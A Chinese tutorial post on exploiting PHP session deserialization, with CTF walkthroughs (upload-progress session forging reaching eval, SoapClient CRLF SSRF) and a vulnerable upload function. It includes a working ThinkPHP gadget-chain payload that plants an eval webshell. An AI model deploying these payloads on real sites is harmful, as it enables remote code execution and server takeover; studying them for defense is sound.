PHP_SESSION与反序列化

基础

贴一下之前写过的

利用session进行反序列化,首先要了解session序列化机制

推荐文章:

一些参数及含义

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

查看目前配置,我的session.serialize_handler参数是php_serialize,如下

image-20220112183413778

尝试demo,然后去查看session文件,代码如下

1
2
3
4
5
<?php
session_start();
$_SESSION['name'] = 'mochazz';
var_dump($_SESSION);
?>

image-20220112183505989

session.serialize_handler参数是php,在php.ini中修改参数值

image-20220112183535462

image-20220112183615657

php的session存储与读取是一个序列化跟反序列化的过程

其中有三种模式,分别是php_binary、php、php_serialize

这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源

漏洞测试

首先,要设置session.upload_progress.cleanup参数问Off,不然信息会立刻被清理

再把session_serialize_handler设置为php_serialize

编写代码如下(ctf题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php'); //这里是把这个页面的handler设置为了php,但是其他的仍然是php_serialize
session_start();
class OowoO{
public $mdzz;
function __construct(){
$this->mdzz = 'phpinfo();';
}
function __destruct(){
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])){
$m = new OowoO();
}
else{
highlight_string(file_get_contents('index.php'));
}
?>

session的各项参数值如下图

image-20220112183811917

下一步我们就该思考如何通过反序列化替换掉源程序中的phpinfo字符串,没有unserialize,但是该页面调用了session_start()函数,,可以使用session反序列化,序列化字符串生成demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class OowoO{
public $mdzz;
function __construct(){
$this->mdzz = 'phpinfo();';
}
function __destruct(){
eval($this->mdzz);
}
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));"; //浏览目录结构及文件
echo serialize($a);

image-20220112183904675

test.php页面并没有重新设置session_serialize_handler的值所以最后序列化完成的字符串是

1
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}

通过什么方式传进index.php呢?

通过PHP_SESSION_UPLOAD_PROGRESS来伪造session

session读取post数据,存进session文件中,而index页面读取session,但是index页面session的处理机制会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化

1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data">        
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

抓包,修改数据,放包后成功获取目录结构,如下

image-20220112184108634

尝试使用file_get_contents()函数读取本地的flag.php,如下

image-20220112184241153

例题二

在这里插入图片描述

index.php 文件中,看到 第5行call_user_func 方法,其参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用。 第6-8 行代码又存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session反序列化漏洞。 第12行 的 call_user_func函数的第一个参数虽然被固定为implode,但是我们可以通过前面的extract函数进行变量覆盖(注意:在PHP7.x比较新的版本中,已经不允许动态调用extract函数了)。而 **flag.php** 文件中告诉我们,只有 **127.0.0.1** 请求该页面才能得到 **flag** ,所以这明显又是考察SSRF漏洞,这里我们便可以利用SoapClient类的__call方法来进行SSRF` 。

下面我们通过一个例子,来看看 SoapClient 类的 __call 方法如何使用。

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://localhost:2333";
$options = array(
"location" => $target,
"user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
"uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:

在这里插入图片描述

call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>

这样题目中的 call_user_func() 就可以变成 call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018')) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如:

1
session_start(array('serialize_handler' => 'php_serialize'))

将会设置 session.serialize_handler=php_serialize

最终我们的利用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = "http://127.0.0.1/flag.php";
$post_data = 'flag=demo';
$ua = array(
'mochazz',
'Content-Type: application/x-www-form-urlencoded',
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=mochazz'
);
$options = array(
'location' => $target,
'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
'uri'=>'hello'
);
$serialize_string = serialize(new SoapClient(null,$options));
echo urlencode($serialize_string);
?>

在这里插入图片描述

在这里插入图片描述

最后我们再将 PHPSESSID 修改成 mochazz 即可获得 flag ,整个攻击的流程图如下:

在这里插入图片描述

例二题目环境可以从 这里 下载。

实际场景

当然上述场景基本不可能存在

遇到了一种上传的场景

后缀黑白名单,加上路径可控,可触发session反序列化

image-20220112184433784

这种场景是存在的,后台有不少可以让设置后缀的,然后有怕被设置成php所以采用黑+白名单的形式如果以上代码在存在反序列化的框架中,则能完成利用

这里可以看到,最后rename的文件名字是不可控的,但是再次之前还有一个temp文件

可以被利用,形如sess_temp

实际的测试

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public function sess_unser(){
$S_filetype='png,jpg,jpeg,gif,/sess';
$id=$_GET["id"];
$path=$_GET["path"];
$path = str_replace("@@", "..", $path);
$processid=$_GET["processid"];

$kanme=explode('.', $_POST['filename']);
$kname=strtolower(end($kanme));

$k=$processid.".".$kname."_temp";
$g=date("YmdHis",time()).$this->gen_key(2).".".$kname;

if(strpos($S_filetype,$kname)!==false){
if (strpos($path, "../") !== false) {
$p = $path;
} else {
$p = $_SERVER["DOCUMENT_ROOT"] . $path;
}

if (preg_match('/asp|php|apsx|asax|ascx|cdx|cer|pht|htaccess|cgi|jsp/i', $k)) {
die("error|上传文件格式不允许!");
} else {
if(!file_exists($p . "/" . $k)){
move_uploaded_file($_FILES['video']['tmp_name'],$p . "/" . $k);
}else{
file_put_contents($p . "/" . $k,file_get_contents($_FILES['video']['tmp_name']),FILE_APPEND);
}

if(filesize($p . "/" . $k)==$_POST['size']){
rename($p . "/" . $k,$p . "/" . $g);
}
}
}
}
function gen_key($length,$type=1) {
switch ($type){
case 1:
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
break;
case 2:
$chars = '0123456789';
break;
case 3:
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 4:
$chars = 'abcdefghijklmnopqrstuvwxyz';
break;
default:
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
}

$password = '';
for ( $i = 0; $i < $length; $i++ ) {
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
public function payload(){
$a = 'O%3A13%3A%22think%5CProcess%22%3A3%3A%7Bs%3A21%3A%22%00think%5CProcess%00status%22%3Bs%3A6%3A%22starte%22%3Bs%3A27%3A%22%00think%5CProcess%00processPipes%22%3BO%3A28%3A%22think%5Cmodel%5Crelation%5CHasMany%22%3A4%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A74%3A%223c3f70687020406576616c28245f524551554553545b27696d67275d293b6578697428293b%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22hex2bin%22%3Bi%3A1%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A5%3A%22test%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session_name%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22where%22%3Bi%3A1%3Bs%3A16%3A%22removeWhereField%22%3B%7D%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3Bs%3A3%3A%22abc%22%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A10%3A%22think%5CView%22%3A1%3A%7Bs%3A6%3A%22engine%22%3Bs%3A3%3A%22111%22%3B%7Ds%3A11%3A%22%00%2A%00localKey%22%3Bs%3A6%3A%22engine%22%3B%7Ds%3A33%3A%22%00think%5CProcess%00processInformation%22%3Ba%3A1%3A%7Bs%3A7%3A%22running%22%3Bs%3A1%3A%221%22%3B%7D%7D';
$payload = 'name|'.urldecode($a);
file_put_contents('aaaa.sess',$payload);
}

首先访问payload方法,生成文件

image-20220113095946990

上传文件

这里的path是sess存的路径,windows下不确定,linux下一般都是tmp目录下

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="http://192.168.1.220:82/index.php/index/index/sess_unser?path=../../../Extensions/tmp/tmp/&processid=&id=" method="POST" enctype="multipart/form-data">
<input type="file" name="video" />
<input type="hidden" name="filename" value="/sess"/>
<input type="submit" value="submit" />
</form>
</body>
</html>

image-20220113101610675

调用session

1
2
3
4
public function sess_unserialize(){
echo "aaaaa";
session_start();
}

image-20220113103512753

end